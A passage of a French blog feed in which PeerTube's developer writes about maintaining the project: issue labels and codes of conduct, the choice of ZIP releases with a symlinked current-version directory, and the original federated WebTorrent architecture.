bloqu&#xE9;, en cours, en attente de r&#xE9;ponse</li><li>Et sa priorit&#xE9; : critique, moyenne, basse...</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.cpy.re/content/images/2020/04/screen_2020-04-12-10-14-03.png" class="kg-image" alt loading="lazy"></figure><p>On se sert principalement des labels de type <strong>Composant</strong> et <strong>Type</strong>. On a encore une bonne marge d&apos;am&#xE9;lioration sur ce point-l&#xE0;.</p><p>Le label <strong>Status: Waiting answer</strong> est tr&#xE8;s pratique pour fermer les issues dont vous n&apos;avez pas de r&#xE9;ponses depuis <em>x</em> jours. &#xC7;a &#xE9;vite d&apos;utiliser un stale bot, qui est de mon avis une horreur absolue.</p><p>On utilise souvent les labels <strong>Status: To Reproduce</strong> et <strong>Type: Bug</strong> pour avoir une vue des probl&#xE8;mes soulev&#xE9;s, et donc &#xE0; s&apos;occuper assez rapidement (d&apos;o&#xF9; l&apos;int&#xE9;r&#xEA;t de la couleur rouge pour le label <strong>Type: Bug</strong>).</p><p>Enfin, ne pas oublier d&apos;ajouter un label <strong>good first issue</strong> pour aiguiller des d&#xE9;veloppeurs qui voudraient se faire la main sur le logiciel.</p><h2 id="avoir-un-code-de-conduite">Avoir un code de conduite</h2><p>On n&apos;y pense pas forc&#xE9;ment au d&#xE9;but, et on peut avoir du mal &#xE0; en voir l&apos;int&#xE9;r&#xEA;t. Mais ajouter un code de conduite avant l&apos;arriv&#xE9;e des contributeurs est quelque chose d&apos;assez important. Plus le projet va devenir connu et plus vous allez devoir g&#xE9;rer des interactions au sein et autour du projet. Malheureusement, il va falloir &#xE0; un moment donn&#xE9; g&#xE9;rer certaines de ces interactions, pour prot&#xE9;ger votre projet, vous-m&#xEA;me ou bien d&apos;autres contributeurs.</p><p>Ajouter un code de conduite ne requi&#xE8;re pas beaucoup de travail : de nombreux templates sont disponibles sur internet. Le tout est de s&apos;assurer qu&apos;outre les choses &#xE9;videntes (sexisme, insultes etc), il couvre aussi les commentaires d&#xE9;plac&#xE9;s qui peuvent devenir irritants (commentaires d&#xE9;sobligeants, trolls etc) et le harc&#xE8;lement. Dans le cas de PeerTube (et de nombreux autres projets open-source), le harc&#xE8;lement prend souvent la forme d&apos;une personne un peu influente sur un r&#xE9;seau social qui met un lien vers un ticket ou un commentaire avec lequel il est en d&#xE9;saccord, et demande &#xE0; sa communaut&#xE9; de faire pression de mani&#xE8;re peu sympathique. Vous verrez alors tout un flot de nouveaux comptes se cr&#xE9;er et &quot;participer&quot; &#xE0; la discussion. C&apos;est &#xE0; ce moment que le code de conduite est utile : il vous permet de facilement arbitrer et bloquer les comptes/discussions afin de retrouver des &#xE9;changes plus sereins.</p><h2 id="dire-merci">Dire merci</h2><p>Avant de r&#xE9;pondre &#xE0; une issue, &#xE7;a ne co&#xFB;te pas grand chose de d&#xE9;buter par un merci car la personne a pris le temps de vous remonter un probl&#xE8;me ou une id&#xE9;e, chose pr&#xE9;cieuse dans un projet libre.</p><p>Les moteurs de recherche ne sont pas parfait, et les humains encore moins. Il arrive que certaines issues soient en fait des doublons. L&#xE0; encore, un merci ne co&#xFB;te pas grand chose : la personne ne l&apos;a sans doute pas fait expr&#xE8;s, et les gestionnaires de tickets sont souvent dot&#xE9;s de &quot;r&#xE9;ponses rapides&quot;.</p><h2 id="prendre-position">Prendre position</h2><p>Il est souvent tentant de laisser une issue ouverte, m&#xEA;me si on la trouve sans int&#xE9;r&#xEA;t ou en d&#xE9;saccord avec l&apos;id&#xE9;e principale du projet dans le but d&apos;&#xE9;viter un conflit avec le cr&#xE9;ateur du ticket. Il faut n&#xE9;anmoins savoir se faire violence et fermer ce genre d&apos;issue afin que personne ne se fasse de faux espoirs sur la r&#xE9;alisation d&apos;une fonctionnalit&#xE9; qu&apos;on ne souhaite pas impl&#xE9;menter/accepter. L&apos;autre int&#xE9;r&#xEA;t est de garder le nombre d&apos;issues ouvertes sous un certain seuil, sinon &#xE7;a peut vite devenir compliqu&#xE9; &#xE0; g&#xE9;rer.</p>]]></content:encoded></item><item><title><![CDATA[PeerTube - Partie 1 : releases & mises à jour]]></title><description><![CDATA[Retour d'expérience avec PeerTube sur la façon de releaser et mettre à jour un projet web]]></description><link>https://blog.cpy.re/peertube-partie-1-releases-mises-a-jour/</link><guid isPermaLink="false">5e8de33eb3d6d152aaf66b87</guid><category><![CDATA[peertube]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Tue, 28 Jun 2022 07:17:40 GMT</pubDate><content:encoded><![CDATA[<p><em>Pour rappel, <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a> est une application web, s&apos;installe sur un serveur et tourne via NodeJS. Voir le <strong><a href="https://blog.cpy.re/retours-dexperience-avec-peertube-sommaire">sommaire</a></strong> pour plus d&apos;informations.</em></p><p>Avant m&#xEA;me qu&apos;un projet libre ou open-source ne prenne un peu d&apos;ampleur, il faut savoir comment le diffuser. Cette diffusion a des r&#xE9;percussions importantes sur les mises &#xE0; jour du logiciel, et il est difficile d&apos;en changer. D&apos;o&#xF9; l&apos;int&#xE9;r&#xEA;t de choisir une bonne m&#xE9;thode d&#xE8;s le d&#xE9;but.</p><p>J&apos;ai mis longtemps &#xE0; savoir quelle m&#xE9;thode de release utiliser. Chaque gros projet web semble choisir une m&#xE9;thode diff&#xE9;rente, et aucune n&apos;a l&apos;air de prendre le dessus. J&apos;ai &#xE9;tudi&#xE9; plusieurs options puis en ai retenue une, qui semble &#xEA;tre appr&#xE9;ci&#xE9;e par les administrateurs de PeerTube, de par sa simplicit&#xE9; et son efficacit&#xE9;. &#xC0; l&apos;&#xE9;poque, je n&apos;avais pas vraiment trouv&#xE9; d&apos;articles de d&#xE9;veloppeurs donnant leur ressenti sur leur fa&#xE7;on de releaser leur projet web. J&apos;esp&#xE8;re donc que ce billet de blog sera utile &#xE0; certains.</p><!--kg-card-begin: markdown--><p>Voici grosso modo les choses dont on a besoin :</p>
<ul>
<li>Facilement r&#xE9;cup&#xE9;rer la derni&#xE8;re version <strong>compil&#xE9;e</strong> du logiciel (le build de PeerTube prend beaucoup de temps)</li>
<li>Remplacer la version existante</li>
<li>Installer les d&#xE9;pendances NodeJS</li>
<li>G&#xE9;rer une hi&#xE9;rarchie de dossiers, afin que certains ne soient pas &#xE9;cras&#xE9;s lors des mises &#xE0; jour (dossiers de stockage et configuration)</li>
<li>Revenir &#xE0; une pr&#xE9;c&#xE9;dente version sans trop de gal&#xE8;res</li>
</ul>
<!--kg-card-end: markdown--><p>Voici donc un petit tour d&apos;horizon des diff&#xE9;rentes m&#xE9;thodes que j&apos;avais consid&#xE9;r&#xE9;es.</p><h2 id="git">Git</h2><p>Git permet de facilement mettre &#xE0; jour une application avec un <code>git pull</code>, et de pouvoir naviguer entre les diff&#xE9;rentes branches et tags. Mais &#xE7;a peut vite devenir lourd lorsque le projet grandit, et poss&#xE8;de beaucoup de commits/branches. Il me para&#xEE;t un peu dommage de r&#xE9;cup&#xE9;rer <strong>toutes</strong> les r&#xE9;visions de d&#xE9;veloppement, alors qu&apos;au final l&apos;administrateur n&apos;est int&#xE9;ress&#xE9; que par un instantan&#xE9; du code.</p><p>De plus, on devrait mettre les fichiers compil&#xE9;s directement dans le Git ce qui n&apos;est pas id&#xE9;al. Ou sinon les administrateurs devraient compiler eux-m&#xEA;me PeerTube, mais &#xE7;a prend du temps et beaucoup de CPU/RAM. J&apos;ai donc d&#xE9;cid&#xE9; de ne pas partir sur cette m&#xE9;thode.</p><h2 id="npm">NPM</h2><p>NPM a l&apos;avantage de g&#xE9;rer et d&apos;installer lui-m&#xEA;me les d&#xE9;pendances NodeJS, en plus de stocker et transmettre de mani&#xE8;re transparente le code. Un <code>npm install peertube</code> qui diffuserait uniquement les fichiers compil&#xE9;s aurait permis d&apos;avoir quasiment un PeerTube fonctionnel. Le soucis c&apos;est qu&apos;on devient tr&#xE8;s d&#xE9;pendant de NPM (l&apos;outil et le fournisseur), et on se retrouve avec une hi&#xE9;rarchie de dossiers qu&apos;on peut difficilement contr&#xF4;ler.</p><h2 id="paquet-gnu-linux">Paquet GNU/Linux</h2><p>Un paquet natif &#xE0; la distribution GNU/Linux qu&apos;on utilise (<code>.deb</code> ou <code>.rpm</code>) est aussi une solution tr&#xE8;s pratique pour les administrateurs. En une commande, tout s&apos;installe correctement sur sa distribution. Et surtout, &#xE7;a s&apos;ajoute &#xE0; l&apos;inventaire des paquets pr&#xE9;sents sur le serveur tout en g&#xE9;rant les conflits et d&#xE9;pendances syst&#xE8;me (PostgreSQL, NodeJS etc). Sauf que &#xE7;a demande beaucoup de travail pour les d&#xE9;veloppeurs car il faut g&#xE9;n&#xE9;rer plusieurs types de paquets selon les distributions Linux, en plus des connaissances sur leur construction. N&apos;ayant pas ces connaissances, j&apos;ai d&#xE9;cid&#xE9; de ne pas retenir cette m&#xE9;thode. Il me semble cependant qu&apos;il s&apos;agit de la mani&#xE8;re la plus pratique pour releaser et mettre &#xE0; jour un logiciel, si on a le temps et les comp&#xE9;tences n&#xE9;cessaires.</p><h2 id="docker">Docker</h2><p>Docker est assez efficace pour diffuser, installer ou tester un logiciel. Mais pour moi c&apos;est quelque chose en plus d&apos;une m&#xE9;thode de release classique, car Docker divise et peut donc rebuter certains administrateurs. &#xC7;a ajoute aussi une surcouche au logiciel qui peut entra&#xEE;ner quelques effets de bord. Et honn&#xEA;tement, cr&#xE9;er un logiciel est d&#xE9;j&#xE0; assez compliqu&#xE9; comme &#xE7;a :)</p><p>On peut aussi se dire que diffuser son logiciel seulement via Docker est un parti pris : les d&#xE9;veloppeurs gagnent du temps en utilisant une seule m&#xE9;thode de release dans un environnement test&#xE9; et approuv&#xE9;. Je ne porte pas Docker dans mon coeur, donc l&#xE0; encore j&apos;ai d&#xE9;cid&#xE9; de ne pas retenir cette m&#xE9;thode.</p><h2 id="diffuser-un-zip">Diffuser un ZIP</h2><p>C&apos;est finalement la m&#xE9;thode choisie pour PeerTube.</p><p>Un zip a l&apos;avantage d&apos;&#xEA;tre un format simple, efficace et tr&#xE8;s utilis&#xE9;. On peut le diffuser via GitHub, Gitlab ou directement sur le site web officiel du projet. Les administrateurs ont donc juste &#xE0; utiliser <code>wget</code> ou <code>curl</code> pour r&#xE9;cup&#xE9;rer l&apos;archive, puis <code>unzip</code>.</p><p>Un ZIP c&apos;est beau, mais il faut aussi savoir comment organiser les dossiers et remplacer la version existante. Car on n&apos;a pas de <code>.gitignore</code> pour dire de ne pas toucher tel ou tel dossier (de configuration ou de stockage de donn&#xE9;es), et pas de <code>git checkout</code> pour facilement repasser &#xE0; la version pr&#xE9;c&#xE9;dente du logiciel. Pour palier &#xE0; ces deux situations, je me suis inspir&#xE9; de la m&#xE9;thode de release de <a href="https://www.seafile.com/en/home/?ref=blog.cpy.re">Seafile</a> :</p><ul><li>On t&#xE9;l&#xE9;charge le ZIP</li><li>On extrait l&apos;archive dans un dossier <code>mon-projet-x.y.z</code></li><li>On cr&#xE9;e un lien symbolique <code>mon-projet-latest</code> pointant sur <code>mon-projet-x.y.z</code></li><li><code>mon-projet-latest</code> est la version courante, utilis&#xE9;e par nginx pour servir les fichiers statiques et systemd pour d&#xE9;marrer le serveur</li></ul><p>On peut donc facilement jongler entre les diff&#xE9;rentes versions du projet (il suffit de changer le lien symbolique) et tous les dossiers &#xE0; c&#xF4;t&#xE9; de <code>mon-projet-latest</code> ne seront pas affect&#xE9;s par les mises &#xE0; jour (on peut imaginer avoir un dossier <code>config</code>, <code>data</code> etc). On a donc un arbre de dossiers de la forme :</p><pre><code>.
&#x251C;&#x2500;&#x2500; config
&#x251C;&#x2500;&#x2500; mon-projet-latest -&gt; version/mon-projet-x-y-z
&#x251C;&#x2500;&#x2500; data
&#x2514;&#x2500;&#x2500; version</code></pre><p>Le dossier <code>version</code> contient les versions pr&#xE9;c&#xE9;dentes du logiciel.</p><p>L&apos;installation pour organiser les dossiers peut &#xEA;tre un peu lourde (&#xE7;a rajoute 2 ou 3 commandes en plus et les administrateurs ne savent pas tout le temps o&#xF9; on veut en venir), mais les mises &#xE0; jour sont tr&#xE8;s efficaces : on t&#xE9;l&#xE9;charge l&apos;archive puis on l&apos;extrait, on installe les d&#xE9;pendances, fait pointer le lien symbolique vers le nouveau dossier et le tour est jou&#xE9;. Il n&apos;y a plus qu&apos;&#xE0; red&#xE9;marrer le service.</p><p>Se pose cependant la gestion des d&#xE9;pendances : pour PeerTube, qui est un projet web NodeJS, il faut (r&#xE9;)installer les nombreux modules via NPM ou Yarn une fois le fichier ZIP extrait. Je me suis demand&#xE9; pendant un moment s&apos;il n&apos;&#xE9;tait pas plus pertinent de mettre les d&#xE9;pendances directement dans le ZIP. Mais j&apos;ai r&#xE9;alis&#xE9; que ce serait du g&#xE2;chis d&apos;espace et de r&#xE9;seau : les versions r&#xE9;centes de NPM et Yarn embarquent un cache local donc il est assez rapide et efficace de r&#xE9;installer les d&#xE9;pendances directement via ces outils. Cette vision des choses a cependant l&apos;air d&apos;&#xEA;tre remise en question par Yarn 2. &#xC0; voir dans l&apos;avenir si on ne finit pas par ajouter les d&#xE9;pendances directement dans le ZIP.</p><p>Le seul d&#xE9;savantage de cette technique c&apos;est que vous ne pouvez pas vous assurer des versions des d&#xE9;pendances syst&#xE8;me de votre projet (PostgreSQL, Redis...) comme avec un paquet <code>.deb</code> ou <code>.rpm</code> : il faut coder une v&#xE9;rification directement dans le logiciel.</p>]]></content:encoded></item><item><title><![CDATA[Retours d'expérience avec PeerTube : sommaire]]></title><description><![CDATA[<p>Voil&#xE0; plus de 5 ans que <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a> est devenu mon emploi &#xE0; plein temps &#xE0; <a href="https://framasoft.org/?ref=blog.cpy.re">Framasoft</a>.</p><p>PeerTube est une plateforme <strong>web</strong> de diffusion de vid&#xE9;os f&#xE9;d&#xE9;r&#xE9;e et en P2P, que des administrateurs peuvent installer sur leur serveur. C&apos;est un</p>]]></description><link>https://blog.cpy.re/retours-dexperience-avec-peertube-sommaire/</link><guid isPermaLink="false">5e8de15ab3d6d152aaf66b5e</guid><category><![CDATA[peertube]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Tue, 28 Jun 2022 07:17:02 GMT</pubDate><content:encoded><![CDATA[<p>Voil&#xE0; plus de 5 ans que <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a> est devenu mon emploi &#xE0; plein temps &#xE0; <a href="https://framasoft.org/?ref=blog.cpy.re">Framasoft</a>.</p><p>PeerTube est une plateforme <strong>web</strong> de diffusion de vid&#xE9;os f&#xE9;d&#xE9;r&#xE9;e et en P2P, que des administrateurs peuvent installer sur leur serveur. C&apos;est un programme en <strong>TypeScript</strong>, qui tourne via <strong>NodeJS</strong> et qui a besoin d&apos;une base de donn&#xE9;es <strong>PostgreSQL</strong>, de <strong>Redis</strong> et de <strong>nginx</strong>. Voici par exemple ce que &#xE7;a donne : <a href="https://peertube2.cpy.re/?ref=blog.cpy.re">https://peertube2.cpy.re/</a></p><p>Ce qui n&apos;&#xE9;tait qu&apos;un projet &#xE9;tudiant pour m&apos;amuser, est devenu mon m&#xE9;tier. Autant dire que le projet a beaucoup chang&#xE9;, mais surtout pris une autre envergure. Il faut maintenant g&#xE9;rer beaucoup de choses qui ne sont pas celles auxquelles on pense lorsqu&apos;on commence &#xE0; coder : gestion de communaut&#xE9;, promotion, communication, releases, installation du logiciel, organisation de la roadmap etc.</p><p>Il n&apos;y a malheureusement pas de guide universel du parfait petit mainteneur de projet libre. J&apos;ai donc pass&#xE9; beaucoup de temps &#xE0; essayer de savoir comment faire correctement telle ou telle chose. Par exemple, comment releaser mon projet ? En utilisant NPM ? Git ? Un ZIP ? Comment g&#xE9;rer une communaut&#xE9; en tant que simple d&#xE9;veloppeur ? Comment labelliser mes tickets pour que je puisse m&apos;y retrouver ? Dois-je cr&#xE9;er un code de conduite ? Dois-je avoir un site de documentation ? Est-ce qu&apos;il est vraiment utile d&apos;avoir un site officiel ?</p><p>Je n&apos;ai pas encore toutes les bonnes r&#xE9;ponses. Mais ce qui est s&#xFB;r, c&apos;est que ces ann&#xE9;es ont &#xE9;t&#xE9; tr&#xE8;s enrichissantes. J&apos;ai appris de mes erreurs, mais aussi de choix qui me semblent pertinents. C&apos;est pourquoi je me lance dans quelques articles afin de faire un bilan de mes quelques exp&#xE9;riences, qui je l&apos;esp&#xE8;re pourront int&#xE9;resser certains d&#xE9;veloppeurs de projets libres/open-sources.</p><h2 id="sommaire">Sommaire</h2><ul><li><a href="https://blog.cpy.re/peertube-partie-1-releases-mises-a-jour/">Partie 1 : releases &amp; mises &#xE0; jour</a></li><li><a href="https://blog.cpy.re/peertube-partie-2-la-gestion-des-tickets/">Partie 2 : la gestion des tickets</a></li><li><a href="https://blog.cpy.re/peertube-partie-3-garder-le-cap/">Partie 3 : garder le cap</a></li><li><a href="https://blog.cpy.re/peertube-partie-4-les-outils-communautaires/">Partie 4 : les outils communautaires</a></li><li><a href="https://blog.cpy.re/peertube-partie-5-gerer-le-code-des-releases-en-parallele/">Partie 5 : g&#xE9;rer le code des releases en parall&#xE8;le</a></li></ul>]]></content:encoded></item><item><title><![CDATA[PeerTube, 3 ans après]]></title><description><![CDATA[<p>Presque 3 ann&#xE9;es sont pass&#xE9;es depuis mon <a href="https://blog.cpy.re/peertube-plateforme-de-video-web-decentralisee-en-p2p/">article</a> sur <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a>, une plateforme web de streaming vid&#xE9;o f&#xE9;d&#xE9;r&#xE9;e. Depuis, beaucoup de choses ont chang&#xE9; : d&apos;un projet exp&#xE9;rimental sur lequel je bossais en rentrant des</p>]]></description><link>https://blog.cpy.re/peertube-3-ans-apres/</link><guid isPermaLink="false">5e947ebfb3d6d152aaf66dce</guid><category><![CDATA[peertube]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Fri, 01 May 2020 12:20:57 GMT</pubDate><content:encoded><![CDATA[<p>Presque 3 ann&#xE9;es sont pass&#xE9;es depuis mon <a href="https://blog.cpy.re/peertube-plateforme-de-video-web-decentralisee-en-p2p/">article</a> sur <a href="https://joinpeertube.org/?ref=blog.cpy.re">PeerTube</a>, une plateforme web de streaming vid&#xE9;o f&#xE9;d&#xE9;r&#xE9;e. Depuis, beaucoup de choses ont chang&#xE9; : d&apos;un projet exp&#xE9;rimental sur lequel je bossais en rentrant des cours (et pendant les cours on va pas se le cacher), PeerTube est devenu un projet professionnel gr&#xE2;ce &#xE0; <a href="https://framasoft.org/?ref=blog.cpy.re">Framasoft</a>, qui m&apos;emploie pour faire grandir et conna&#xEE;tre le logiciel.</p><figure class="kg-card kg-image-card"><img src="https://blog.cpy.re/content/images/2020/04/screen_2020-04-13-17-08-43.png" class="kg-image" alt loading="lazy"></figure><p>Le projet a beaucoup &#xE9;volu&#xE9;, mais reste globalement dans le m&#xEA;me esprit du premier article : de la f&#xE9;d&#xE9;ration pour all&#xE9;ger l&apos;espace de stockage, et le P2P pour diminuer la bande passante n&#xE9;cessaire.</p><p>Je ne vais pas forc&#xE9;ment revenir sur tout ce qui s&apos;est pass&#xE9; en d&#xE9;tail, car nous avons d&#xE9;j&#xE0; racont&#xE9; beaucoup de choses sur le site officiel : <a href="https://joinpeertube.org/news?ref=blog.cpy.re">https://joinpeertube.org/news</a> et sur le Framablog : <a href="https://framablog.org/?ref=blog.cpy.re">https://framablog.org/</a></p><p>Merci &#xE0; tous ceux qui nous ont permis de commencer et continuer cette aventure.</p>]]></content:encoded></item><item><title><![CDATA[PeerTube, plateforme de vidéo web décentralisée en P2P]]></title><description><![CDATA[Présentation de PeerTube, plateforme de vidéo Web décentralisée fonctionnant via le protocole BitTorrent à l'aide de la librairie JavaScript WebTorrent]]></description><link>https://blog.cpy.re/peertube-plateforme-de-video-web-decentralisee-en-p2p/</link><guid isPermaLink="false">5979ed043099c73f2bf8212b</guid><category><![CDATA[libre]]></category><category><![CDATA[Code]]></category><category><![CDATA[peertube]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Tue, 20 Jun 2017 18:39:10 GMT</pubDate><media:content url="https://lutim.cpy.re/9HOUfGK8" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://lutim.cpy.re/9HOUfGK8" alt="PeerTube, plateforme de vid&#xE9;o web d&#xE9;centralis&#xE9;e en P2P"><p><strong>Pour ceux qui veulent directement voir le projet :</strong></p>
<ul>
<li>Github : <a href="https://github.com/Chocobozzz/PeerTube?ref=blog.cpy.re">https://github.com/Chocobozzz/PeerTube</a></li>
<li>Serveurs de d&#xE9;monstration : <a href="https://peertube.cpy.re/?ref=blog.cpy.re">https://peertube.cpy.re/</a> ou <a href="https://peertube2.cpy.re/?ref=blog.cpy.re">https://peertube2.cpy.re/</a> ou <a href="https://peertube3.cpy.re/?ref=blog.cpy.re">https://peertube3.cpy.re/</a></li>
</ul>
<p><img src="https://blog.cpy.re/content/images/2022/06/9HOUfGK8.png" alt="PeerTube, plateforme de vid&#xE9;o web d&#xE9;centralis&#xE9;e en P2P" loading="lazy"></p>
<h3 id="motivations">Motivations</h3>
<p>Aujourd&apos;hui, si on veut utiliser une alternative libre pour stocker ses fichiers, on peut utiliser <a href="https://owncloud.org/?ref=blog.cpy.re">Owncloud</a>, <a href="https://www.seafile.com/en/home/?ref=blog.cpy.re">Seafile</a>, <a href="https://cozy.io/fr/?ref=blog.cpy.re">Cozy Cloud</a> etc. Dans le cas o&#xF9; on aimerait partager des images, on peut se servir de <a href="https://lut.im/?ref=blog.cpy.re">Lutim</a>. Si on souhaite rejoindre un r&#xE9;seau social, on peut s&apos;inscrire sur <a href="https://diasporafoundation.org/?ref=blog.cpy.re">Diaspora</a> ou <a href="https://fr.wikipedia.org/wiki/Mastodon_(r%C3%A9seau_social)?ref=blog.cpy.re">Mastodon</a>. Et ainsi de suite.<br>
Ces alternatives libres ou open-source nous permettent d&apos;installer les logiciels sur nos propres machines. On a ainsi le contr&#xF4;le sur nos donn&#xE9;es et on peut combattre l&apos;effet &quot;silo&quot; des grandes entreprises am&#xE9;ricaines. Cette d&#xE9;centralisation est tr&#xE8;s importante pour emp&#xEA;cher la captation en masse des donn&#xE9;es des utilisateurs et permet de combattre activement la censure. Tristan Nitot en parle tr&#xE8;s bien <a href="http://standblog.org/blog/post/2014/07/09/Decentralisation-d-Internet?ref=blog.cpy.re">sur son blog</a>.</p>
<p>Dans le cas o&#xF9; l&apos;on veut stocker et partager quelques vid&#xE9;os, on peut utiliser <a href="http://mediagoblin.org/?ref=blog.cpy.re">MediaGoblin</a>. En revanche, pour trouver un &#xE9;quivalent &#xE0; YouTube, Vimeo ou Dailymotion afin de stocker une grande quantit&#xE9; de vid&#xE9;os potentiellement &#xE0; succ&#xE8;s, &#xE7;a devient un peu plus compliqu&#xE9;. En effet, on se confronte &#xE0; deux probl&#xE8;mes principaux :</p>
<ul>
<li><strong>Stockage</strong> : on ne peut pas laisser la possibilit&#xE9; aux utilisateurs de stocker 1 000 000 de vid&#xE9;os sur des plateformes comme MediaGoblin sans avoir besoin d&apos;un &#xE9;norme espace disque.</li>
<li><strong>Bande passante</strong> : si une vid&#xE9;o devient virale et est vue par 10 000 personnes en simultan&#xE9;, on a d&apos;importants besoins en bande passante.</li>
</ul>
<p>Ces deux probl&#xE8;mes peuvent se r&#xE9;soudre en augmentant la capacit&#xE9; et le nombre de serveurs qui h&#xE9;bergent ces vid&#xE9;os. Autrement dit, il faut de l&apos;argent. Ce n&apos;est clairement pas viable lorsqu&apos;on parle d&apos;alternative libre. Une seule personne ou organisme ne peut encaisser tous les co&#xFB;ts de stockage et de bande passante de centaines d&apos;utilisateurs.</p>
<p>Les alternatives libres aux grandes plateformes de vid&#xE9;os ne peuvent donc pas exister ? Et bien si, mais il faut ruser et surtout collaborer.</p>
<h3 id="stockage">Stockage</h3>
<p>Une vid&#xE9;o p&#xE8;se lourd : plusieurs dizaines voire centaines de m&#xE9;gaoctets. En revanche, le poids des m&#xE9;tadonn&#xE9;es de cette vid&#xE9;o (nom, description, cat&#xE9;gorie etc) est tr&#xE8;s faible.</p>
<p>Si deux serveurs communiquent entre eux, le serveur 1 peut dire au serveur 2 qu&apos;il a une vid&#xE9;o de chaton sans que le serveur 2 ne soit oblig&#xE9; de la stocker. Il devra simplement dire aux navigateurs web de ses utilisateurs que la vid&#xE9;o se trouve sur le serveur 1.</p>
<p>En g&#xE9;n&#xE9;ralisant ce syst&#xE8;me avec 1000 serveurs ayant 100 vid&#xE9;os sur chacun d&apos;eux, on se retrouve avec un total de 100 000 vid&#xE9;os r&#xE9;parties sur un ensemble de machines qui communiquent entre elles. Si un jour Framasoft d&#xE9;cide d&apos;ajouter un n&#x153;ud, elle permet &#xE0; ses utilisateurs d&apos;acc&#xE9;der &#xE0; 100 000 vid&#xE9;os sans avoir besoin de les stocker. Chaque administrateur d&apos;un serveur collabore et paye un petit peu de stockage pour cr&#xE9;er un grand r&#xE9;seau de vid&#xE9;os.</p>
<h3 id="bandepassante">Bande passante</h3>
<p>On a depuis 2002 un fabuleux protocole permettant de facilement transf&#xE9;rer des fichiers &#xE0; faible co&#xFB;t : <a href="http://www.bittorrent.com/?ref=blog.cpy.re">BitTorrent</a>. Avec ce protocole chaque utilisateur qui t&#xE9;l&#xE9;charge de la donn&#xE9;e l&apos;envoie ensuite aux autres utilisateurs. C&apos;est quelque chose de fantastique mais utilisable seulement via des applications lourdes sur des ports TCP ou UDP particuliers permettant la connexion directe (pair &#xE0; pair ou P2P) avec d&apos;autres clients. Il est donc incompatible avec les navigateurs web.</p>
<p>Mais avec l&apos;arriv&#xE9;e de <a href="https://webrtc.org/?ref=blog.cpy.re">WebRTC</a>, les navigateurs ont maintenant un moyen de se connecter entre eux en pair &#xE0; pair. <a href="http://feross.org/?ref=blog.cpy.re">Feross Aboukhadijeh</a> a compl&#xE8;tement r&#xE9;impl&#xE9;ment&#xE9; le protocole BitTorrent &#xE0; l&apos;aide de WebRTC pour en faire une simple librairie JavaScript : <a href="https://webtorrent.io/?ref=blog.cpy.re">WebTorrent</a>. On peut donc utiliser BitTorrent directement dans les navigateurs web <a href="http://iswebrtcreadyyet.com/?ref=blog.cpy.re">supportant cette technologie</a>.</p>
<p>Imaginez donc que lorsque vous regardez une vid&#xE9;o dans votre navigateur, vous envoyiez vous-m&#xEA;me cette vid&#xE9;o &#xE0; d&apos;autres utilisateurs. Imaginez maintenant 1000 utilisateurs s&apos;&#xE9;changeant entre eux cette m&#xEA;me vid&#xE9;o qu&apos;ils regardent tous en m&#xEA;me temps. Le serveur n&apos;aurait plus besoin d&apos;envoyer une m&#xEA;me vid&#xE9;o &#xE0; 1000 personnes diff&#xE9;rentes gr&#xE2;ce &#xE0; ce syst&#xE8;me. Ce ne serait pas magnifique ?</p>
<h2 id="peertube">PeerTube</h2>
<h3 id="architecture">Architecture</h3>
<p><a href="https://github.com/Chocobozzz/PeerTube?ref=blog.cpy.re">PeerTube</a> est n&#xE9; &#xE0; partir de ces deux id&#xE9;es : d&#xE9;centralisation et P2P. Il s&apos;agit d&apos;un projet compos&#xE9; d&apos;un serveur NodeJS (cod&#xE9; via TypeScript) en API REST et d&apos;un client en TypeScript/Angular qui consomme cette API.</p>
<p>Plusieurs serveurs communiquant entre eux forment un &quot;r&#xE9;seau (d&apos;amis)&quot;. Chaque machine construit un index de toutes les vid&#xE9;os du r&#xE9;seau dans lequel il est. En effet, lorsqu&apos;un utilisateur uploade une vid&#xE9;o sur un serveur, ce dernier envoie &#xE0; tous les autres serveurs du r&#xE9;seau les informations de la vid&#xE9;o upload&#xE9;e (nom, auteur, <a href="https://fr.wikipedia.org/wiki/Magnet_(standard)?ref=blog.cpy.re">lien magnet</a> pour voir la vid&#xE9;o en P2P...).</p>
<p><img src="https://blog.cpy.re/content/images/2022/06/6Qut3ure.png" alt="PeerTube, plateforme de vid&#xE9;o web d&#xE9;centralis&#xE9;e en P2P" loading="lazy"></p>
<p>Si un utilisateur veut voir une vid&#xE9;o, le serveur sur lequel il se trouve lui renvoie le lien magnet (lien BitTorrent identifiant un fichier) lui permettant de la regarder m&#xEA;me si elle est situ&#xE9;e sur un autre serveur :</p>
<p><img src="https://blog.cpy.re/content/images/2022/06/NvRAcv6U.png" alt="PeerTube, plateforme de vid&#xE9;o web d&#xE9;centralis&#xE9;e en P2P" loading="lazy"></p>
<p>Si plusieurs utilisateurs regardent la m&#xEA;me vid&#xE9;o, les donn&#xE9;es sont &#xE9;chang&#xE9;es en P2P. En effet, l&apos;utilisateur t&#xE9;l&#xE9;charge la vid&#xE9;o via WebTorrent qui r&#xE9;cup&#xE8;re les donn&#xE9;es des autres pairs (autres utilisateurs qui regardent la vid&#xE9;o) et du serveur. Le serveur <em>seed</em> la vid&#xE9;o via <a href="http://www.bittorrent.org/beps/bep_0019.html?ref=blog.cpy.re">WebSeed</a> (c&apos;est &#xE0; dire via le protocole HTTP). Cela permet de toujours avoir possibilit&#xE9; de consulter une vid&#xE9;o m&#xEA;me si cette derni&#xE8;re n&apos;est regard&#xE9;e par personne. Le serveur impl&#xE9;mente un <em>tracker</em> afin que chaque pair du r&#xE9;seau sache chez qui il peut t&#xE9;l&#xE9;charger la donn&#xE9;e qui l&apos;int&#xE9;resse.</p>
<p><img src="https://blog.cpy.re/content/images/2022/06/pqKm3Q5S.png" alt="PeerTube, plateforme de vid&#xE9;o web d&#xE9;centralis&#xE9;e en P2P" loading="lazy"></p>
